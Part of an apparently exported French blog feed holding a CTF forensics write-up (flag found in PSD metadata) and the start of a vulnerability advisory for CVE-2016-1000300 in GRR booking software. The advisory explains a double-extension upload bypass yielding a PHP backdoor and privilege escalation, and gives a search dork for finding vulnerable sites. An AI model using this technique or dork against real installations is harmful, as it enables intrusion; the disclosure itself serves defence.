&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPXOdZuvNxOWEF6C_UtzXYWpLzuP_hfZPWH6Q-QPKJE5bYz2Bc8gpa4LFziphvIgzZbDVgebWO3aXCtpLoPGjIST_RXBTxsN8a58Q5dtuCPJSgq8INLUwrYszQ2LFJY036wiZJqSoriPej/s1600/475B08A3-79B3-43E4-A4B5-B9E6218E5087.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;244&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPXOdZuvNxOWEF6C_UtzXYWpLzuP_hfZPWH6Q-QPKJE5bYz2Bc8gpa4LFziphvIgzZbDVgebWO3aXCtpLoPGjIST_RXBTxsN8a58Q5dtuCPJSgq8INLUwrYszQ2LFJY036wiZJqSoriPej/s640/475B08A3-79B3-43E4-A4B5-B9E6218E5087.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Le container nous offre deux fichiers: le 1er contenant juste un peu de texte rappellant les obectifs du challenges, le second quant à lui étant un .psd que l&#39;on s&#39;empresse d&#39;ouvrir sous &lt;b&gt;Gimp &lt;/b&gt;ce qui nous permet d&#39;identifier des claques présent cachant un flag dans la bouche d&#39;un espèce de dinosaure.&lt;br /&gt;
&lt;br /&gt;
Image de base avec la bonne promo pour la boite de notre ami @Sug4r7 qui a créer ce chall:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvogQbI7XXI5kQHHHwG0k9AbsOIjILKswt1Wtdld6pEvBBIwmVcn4pxV3TxV58UahvHGXzk5D3eU5ISNMdrrdDtFyS1kwOI2KUiTuPFR0l3HkW7GaaBMJ0cC35TcW6EAkNhNeMT-lbsW05/s1600/CTF_1.info.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvogQbI7XXI5kQHHHwG0k9AbsOIjILKswt1Wtdld6pEvBBIwmVcn4pxV3TxV58UahvHGXzk5D3eU5ISNMdrrdDtFyS1kwOI2KUiTuPFR0l3HkW7GaaBMJ0cC35TcW6EAkNhNeMT-lbsW05/s640/CTF_1.info.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&amp;nbsp;Les filtres:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTolq-mxzi1qjzrSMFGwY7YqD7YuyIhFH5MSoW78gaSnKVxTNhu_2p0NA7Z-HhbgIdltSBy2LKZdBtPiCMkQZKQ99FO7sxnNGTECz3eCKCid4bFgOnEZ1XrHcSp0hmrEKUzcsJhhLnItIe/s1600/unnamed.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTolq-mxzi1qjzrSMFGwY7YqD7YuyIhFH5MSoW78gaSnKVxTNhu_2p0NA7Z-HhbgIdltSBy2LKZdBtPiCMkQZKQ99FO7sxnNGTECz3eCKCid4bFgOnEZ1XrHcSp0hmrEKUzcsJhhLnItIe/s400/unnamed.png&quot; width=&quot;206&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Le filtre &quot;code_ctf&quot; attire immédiatement notre attention mais hélas se trouve illisible:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRJM_vS-gVsgoNcYUeIl1GNM-ZCEYUr-xnDYegJZETp0wD_ONRp5943jSkQAfk_b3d5K8ugakL7ir7JaMjQcwlBXMn8JWPGSbb2pgFgXp4bDwwvT9MKHm8zd-F3FUGtXbzCw0xqQIp1XPV/s1600/index.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;312&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRJM_vS-gVsgoNcYUeIl1GNM-ZCEYUr-xnDYegJZETp0wD_ONRp5943jSkQAfk_b3d5K8ugakL7ir7JaMjQcwlBXMn8JWPGSbb2pgFgXp4bDwwvT9MKHm8zd-F3FUGtXbzCw0xqQIp1XPV/s400/index.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Afin de gagner du temps, je décide donc de lire les métadata du fichier image de base via &lt;b&gt;exiftool&lt;/b&gt; et obtient entre autre alors le fameux flag tant désiré.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;ExifTool Version Number         : 10.11
&lt;span style=&quot;color: red;&quot;&gt;File Name                       : CTF_1.info&lt;/span&gt;
Directory                       : .
File Size                       : 22 MB
File Modification Date/Time     : 2016:03:03 01:42:37+01:00
File Access Date/Time           : 2016:03:05 15:45:08+01:00
File Inode Change Date/Time     : 2016:03:04 04:33:39+01:00
File Permissions                : rwxrwxrwx
File Type                       : PSD
File Type Extension             : psd
MIME Type                       : application/vnd.adobe.photoshop
Num Channels                    : 3
Image Height                    : 1600
Image Width                     : 2560
Bit Depth                       : 8
Current IPTC Digest             : cdcffa7da8c7be09057076aeaf05c34e
Coded Character Set             : UTF8
Application Record Version      : 0
IPTC Digest                     : cdcffa7da8c7be09057076aeaf05c34e
XMP Toolkit                     : Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00
Document ID                     : adobe:docid:photoshop:8e502fea-e0d3-11e5-88dd-8346bba80fd1
Instance ID                     : xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
Original Document ID            : 54597A271ED407F91E4348F2B8D7EDD3
History Action                  : saved, converted, derived, saved, saved
History Instance ID             : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7, xmp.iid:229920ec-c5e4-f34c-84f6-4a06983a49ff, xmp.iid:a366f090-0622-9343-b206-ee4e314c205f
History When                    : 2016:03:03 01:05:46+01:00, 2016:03:03 01:05:46+01:00, 2016:03:03 01:42:37+01:00
History Software Agent          : Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows), Adobe Photoshop CC 2014 (Windows)
History Changed                 : /, /, /
History Parameters              : from image/jpeg to application/vnd.adobe.photoshop, converted from image/jpeg to application/vnd.adobe.photoshop
Derived From Instance ID        : xmp.iid:4e124a83-f328-dd45-bc25-d93c357610c7
Derived From Document ID        : 54597A271ED407F91E4348F2B8D7EDD3
Derived From Original Document ID: 54597A271ED407F91E4348F2B8D7EDD3
Format                          : application/vnd.adobe.photoshop
Color Mode                      : RGB
&lt;span style=&quot;color: red;&quot;&gt;Text Layer Name                 : code_ctf
Text Layer Text                 : CODE CTF: 20160303_A27R425&lt;/span&gt;
Document Ancestors              : 54597A271ED407F91E4348F2B8D7EDD3
Create Date                     : 2016:03:03 00:59:27+01:00
Metadata Date                   : 2016:03:03 01:42:37+01:00
X Resolution                    : 72
Displayed Units X               : inches
Y Resolution                    : 72
Displayed Units Y               : inches
Global Angle                    : 30
Global Altitude                 : 30
Photoshop Thumbnail             : (Binary data 4789 bytes, use -b option to extract)
Has Real Merged Data            : No
Writer Name                     : Adobe Photoshop
Reader Name                     : Adobe Photoshop CC 2014
Exif Byte Order                 : Big-endian (Motorola, MM)
Bits Per Sample                 : 8 8 8
Photometric Interpretation      : RGB
Orientation                     : Horizontal (normal)
Samples Per Pixel               : 3
Resolution Unit                 : inches
Software                        : Adobe Photoshop CC 2014 (Windows)
Modify Date                     : 2016:03:03 01:42:37
Exif Version                    : 0221
Color Space                     : Uncalibrated
Exif Image Width                : 2560
Exif Image Height               : 1600
Compression                     : JPEG (old-style)
Thumbnail Offset                : 386
Thumbnail Length                : 0
Image Size                      : 2560x1600
Megapixels                      : 4.1&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;CODE CTF: 20160303_A27R425&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;Malheureusement il ne nous permis pas de valider cette épreuve car sans l&#39;adresse mail du destinataire impossible de le valider.... frustration extême car cela nous pris tout de même pas mal de temps pour au final 0 points!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;Cela étant, ça méritait bien un petit write-up ne serait-ce que parcequ&#39;il ne fû validé qu&#39;une seule fois par la team gagnante et que d&#39;autre aimerait sûrement savoir comment il fallait procéder ;-).&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;Le mail pour sa part ne semblait réèllement pas présent ici, en tout cas pas à notre connaissance et la fin de ce CTF arriva avec pour la &lt;b&gt;sec0d&lt;/b&gt; la 5ème place et des cadeaux tout de même obtenus!! :-)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;A bientôt pour un prochain writeup ou paper.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;kmkz&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;u&gt;Quelques liens utiles pour ce challenge Forensic&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://www.sleuthkit.org/sleuthkit/man/mmls.html&quot; target=&quot;_blank&quot;&gt;mmls&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;https://raw.githubusercontent.com/gleeda/misc-scripts/master/misc_python/mbr_parser.py&quot; target=&quot;_blank&quot;&gt;mbr_parser.py&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://www.forensicswiki.org/wiki/Encase_image_file_format&quot; target=&quot;_blank&quot;&gt;ForensicWiki &lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://www.forensicswiki.org/wiki/Libewf&quot; target=&quot;_blank&quot;&gt;EWF tools&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://www.cnwrecovery.com/html/e01_and_virtual.html&quot;&gt;http://www.cnwrecovery.com/html/e01_and_virtual.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;a href=&quot;http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-forensics.html&quot;&gt;http://blog.stalkr.net/2010/05/defcon-18-ctf-quals-writeup-forensics.html&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: #3d85c6;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span class=&quot;author-a-nwabhaz72zvcz80zz87zwtlz89zz87z&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;(en souvenir pour les kewpins: sec0d à la remise des prix) &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1pt5BAOPfqd_25nMUyWS94kVI_wjPHuRKJ9czS7AybL_o_MXWb105VgznKckHsiz623sr-quaNne6IaOPWjesvgUoKLjJhLZoavPcSDdxHwJsYOcOUXW6_XInnBItczHcONYJrupTcN74/s1600/sec0d.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;356&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1pt5BAOPfqd_25nMUyWS94kVI_wjPHuRKJ9czS7AybL_o_MXWb105VgznKckHsiz623sr-quaNne6IaOPWjesvgUoKLjJhLZoavPcSDdxHwJsYOcOUXW6_XInnBItczHcONYJrupTcN74/s640/sec0d.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/1073820262794932851/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/1073820262794932851' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1073820262794932851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1073820262794932851'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2016/03/write-up-esgi-ctf-2k16-forensicgio.html' title='[Write-Up] ESGI CTF 2k16 ForensicGio (Forensic 400)'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS_750q6nYClYalWSSWSrOvmnQfHoGWjUwuonVs53ZyJwxh7kG6xJDglAS-PfiVVrgf5-17zHMZQzO6Tq9yTOXMeqa7FNUVb-I2JsANIFDiXgrAT1RGr5X5CrPF6wXLUwNIVr-8hZe86ZD/s72-c/F511BF5A-8944-4900-9F27-16B6D38427C7.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-4063553058483654081</id><published>2016-01-17T19:05:00.000+01:00</published><updated>2016-12-20T10:06:32.020+01:00</updated><title type='text'>[Advisory] CVE-2016-1000300 Vulnérabilité dans GRR &lt;= 3.0.0-RC1 </title><content type='html'>Salut à tous!&lt;br /&gt;
&lt;br /&gt;
Nouvelle année, nouveaux ponçages et comme j&#39;ai l&#39;impression que nombres de vulns encore présentes ne devraient plus l&#39;être depuis longtemps, je me permet un petit retour sur un de mes récents advisory.&lt;br /&gt;
&lt;br /&gt;
En effet, il est question ici d&#39;un cas d&#39;école que j&#39;ai eu le plaisir de découvrir récemment sur un outils de réservation de salles... en fait on pourrait se dire &quot;ouai super.. so what!??&quot;&lt;br /&gt;
&lt;br /&gt;
Mais lorsque cet outil vous permet de pwn une infra lors d&#39;un pentest et de plus est présent sur &lt;b&gt;TOUTES&lt;/b&gt; les versions de cette application utilisée par nombre d&#39;institutions notamment FR,&amp;nbsp; je pense qu&#39;il peut être pertinent d&#39;en parler.&lt;br /&gt;
&lt;br /&gt;
Toutefois&amp;nbsp; et avant de rentrer dans la vuln + l&#39;advisory lui-même &lt;u&gt;&lt;span style=&quot;color: blue;&quot;&gt;je tiens à remercier les personnes maintenant ce projet open source&lt;/span&gt;&lt;/u&gt; avec qui j&#39;ai pu échanger afin de permettre de travailler sur un correctif de sécurité qui sera donc backporté et inclu dans la future version de l&#39;application.&lt;br /&gt;
&lt;br /&gt;
Vous trouverez les ressources nécéssaires en fin d&#39;article comme d&#39;habitude sur le blog.&lt;br /&gt;
&lt;br /&gt;
Assez parler place aux détails! :D&lt;br /&gt;
&lt;br /&gt;
Ici tout d&#39;abord le code vulnérable se trouvant dans le fichier &quot;&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;admin/admin_config1.php&lt;/span&gt;&lt;/b&gt;&quot; du projet &lt;a href=&quot;http://grr.devome.com/&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;GRR&lt;/span&gt;&lt;/a&gt; ainsi que son lien direct vers pastebin.com:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;//pastebin.com/embed_js/7Me6zftZ&quot;&gt;&lt;/script&gt;


&lt;br /&gt;
&lt;br /&gt;
Bon comme vous pourrez le constater les parties intéréssantes sont déjà commentées expliquant ainsi les grandes lignes de ce qui nous intéresse.&lt;br /&gt;
On identifie ici 3 problèmes sur ce code:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1-&lt;/b&gt; On peu bypass le filtre d&#39;upload car ce dernier n&#39;effectue qu&#39;un seul test: l&#39;extension!&lt;br /&gt;
Ainsi une double extension (&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;backdoor.php.png&lt;/span&gt;&lt;/b&gt;) permet de contourner cela aisément&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2- &lt;/b&gt;Ce super script php sorti tout droit des années 90&#39; nous permet de déterminer le noms qu&#39;aura notre backdoor ainsi que son chemin.&lt;br /&gt;
En effet, le script va simplement supprimer la seconde extension et comme il effectue un &lt;span style=&quot;color: blue;&quot;&gt;explode()&lt;/span&gt; sur notre fichier afin de récupérer ce qui se situe derrière notre &quot;&lt;span style=&quot;color: blue;&quot;&gt;.&lt;/span&gt;&quot;, il va le renommer en &quot;&lt;span style=&quot;background-color: white;&quot;&gt;l&lt;span style=&quot;color: blue;&quot;&gt;ogo.php&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&quot; car le 2ème élément du tableau &quot;&lt;span style=&quot;color: blue;&quot;&gt;$tab&lt;/span&gt;&quot; sera bel et bien notre extension... php ou autre par ailleurs ;-).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3-&lt;/b&gt; Ici c&#39;est la petite touche finale: le fichier sensé être un logo se retrouve &quot;&lt;span style=&quot;color: blue;&quot;&gt;chmod 666&lt;/span&gt;&quot;&amp;nbsp; (RW pour tout le monde) ce qui permet en prime d&#39;obtenir les droits nécéssaires.&lt;br /&gt;
&lt;br /&gt;
En effet, pour peu que les droits soient bien gérés il serait difficile de faire exécuter ce que l&#39;on souhaite, hors la tout est possible, on peux même grâce à cela obtenir des privilèges largements supérieurs à ceux attendus chose que j&#39;ai pu tester et surtout réussir en gagnant ainsi les droits &lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;NT Authority\System&lt;/span&gt;&lt;/b&gt; sur un environnement Microsoft de manière triviale!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ7WR_S6dMjEtenlTwXeEip-nXEEoDCF2aHnpUKK4KhhYuDsK3zpRmxAVC6vU1Kz2gC6zkbkPvfitEo9A0JSF2znBQxV2TsC7l1rKd5Xg-0oieh_TzUCz3ysB9Z8yMk14rVnGdLXCtMKRI/s1600/system_rights.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ7WR_S6dMjEtenlTwXeEip-nXEEoDCF2aHnpUKK4KhhYuDsK3zpRmxAVC6vU1Kz2gC6zkbkPvfitEo9A0JSF2znBQxV2TsC7l1rKd5Xg-0oieh_TzUCz3ysB9Z8yMk14rVnGdLXCtMKRI/s1600/system_rights.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Vous l&#39;aurez compris, c&#39;est assez easy à exploiter sous condition toutefois d&#39;avoir des privilèges au départ afin de pouvoir modifier le logo en question (ce qui m&#39;a été possible via une &lt;b&gt;SQLI&lt;/b&gt; sur une application tierce mais qui par ailleurs ne me permettait pas d&#39;obtenir de shell... ce qui fût donc réglé grâce au GRR présent).&lt;br /&gt;
&lt;br /&gt;
Je vous laisse ici le soin de lire l&#39;advisory en question ainsi que les différents liens concernant ce dernier.&lt;br /&gt;
&lt;br /&gt;
Ce fût court et assez faiblement technique mais il est vrai que ce genre de vuln existe encore alors autant les étudiers car comem dis en début d&#39;article: ce sont des cas d&#39;écoles que l&#39;on ne devrait même plus trouver hélas!!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;=================================================================================================&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Public Advisory&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;=================================================================================================&amp;nbsp;
&lt;/b&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Title&lt;/u&gt;: GRR &amp;lt;= 3.0.0-RC1 (all versions) file upload filter bypass (authenficated)&amp;nbsp; + privilege escalation(in some case)&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Date&lt;/u&gt;: January 7th, 2016&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Vendor Homepage&lt;/u&gt;: http://grr.devome.com/fr/&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Software Link&lt;/u&gt;: &lt;a href=&quot;http://grr.devome.com/fr/telechargement/category/3-versions-patch?download=7:grr-3-0-0-rc1&quot; target=&quot;_blank&quot;&gt;GRR project&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Dork&lt;/u&gt;: inurl:/grr/ intext:réservation intitle:&quot;GRR&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;CVSS score&lt;/u&gt;: &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;9.9&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;u&gt;OVE ID&lt;/u&gt;: &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;OVE-20160705-0044&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;u&gt;CVE ID&lt;/u&gt;: &lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;span class=&quot;blob-code-inner&quot;&gt;CVE-2016-1000300&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;I. APPLICATION
&lt;br /&gt;======================================================================================
&lt;br /&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
GRR is an open source resources manager tool used in many french public
&lt;br /&gt;
institutions (not only!).
&lt;br /&gt;
It permit for example to manage rooms reservations, and so much more.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;II. ADVISORY
&lt;br /&gt;======================================================================================
&lt;br /&gt;&amp;nbsp;
&lt;/b&gt;&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
The application allows administrators to change the enterprise&#39;s logo
&lt;br /&gt;
uploading a new image with .png,.jpg or .gif extension only.
